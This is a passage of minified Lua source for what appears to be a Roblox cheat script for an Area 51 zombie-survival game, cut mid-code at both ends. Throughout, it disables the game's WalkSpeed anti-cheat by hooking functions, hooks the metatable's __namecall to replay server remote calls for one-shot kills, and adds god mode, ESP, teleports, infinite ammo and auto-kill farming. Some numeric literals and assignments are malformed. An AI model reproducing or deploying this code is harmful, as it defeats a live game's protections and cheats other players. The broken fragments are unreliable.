s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else warn("")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)local y=x:NewTab("Teleports:")local z=y:NewSection("Start/End Teleports")z:NewButton("Teleport to Start","Teleports you to the start.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.StartTrigger.CFrame end)z:NewButton("Teleport to End","Teleports you to the end.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.EndTrigger.CFrame end)local y=x:NewTab("ESP:")local z=y:NewSection("Target/Player")z:NewToggle("Targets Esp","Puts ESP on targets around the map..",function(R)if R then for an,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Target"then local a5=Instance.new("BoxHandleAdornment",v)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=v.Size;a5.Adornee=v;a5.Transparency=0.4;a5.Color=BrickColor.new("Really red")local a=Instance.new("BillboardGui",v)a.Size=UDim2.new(1,0,1,0)a.Name=math.random(100,200)a.AlwaysOnTop=true;local a5=Instance.new("Frame",a)a5.Size=UDim2.new(1,0,1,0)a5.BackgroundTransparency=1;a5.BorderSizePixel=0;local ao=Instance.new("TextLabel",a5)ao.Text=v.Parent.Name;ao.Size=UDim2.new(1,0,1,0)ao.BackgroundTransparency=0;ao.BorderSizePixel=0;ao.TextColor=BrickColor.new("Gun metallic")end end else for K,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("BoxHandleAdornment")or v:IsA("BillboardGui")then v:Destroy()end end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==2092167559 then local o="BloodTheme"local x=n.CreateLib("Killer Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''local z=y:NewSection("Current Team:")z:NewToggle("Kill all Killers:","Enable/Disable to enable Autofarm",function(R)if R then local k=game:GetService('Players').LocalPlayer;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Humanoid.Health==0;wait()end end else print("Toggle Off")end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace").Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Area51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==5740483929 then local o="BloodTheme"local x=n.CreateLib("Hard Classic Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for 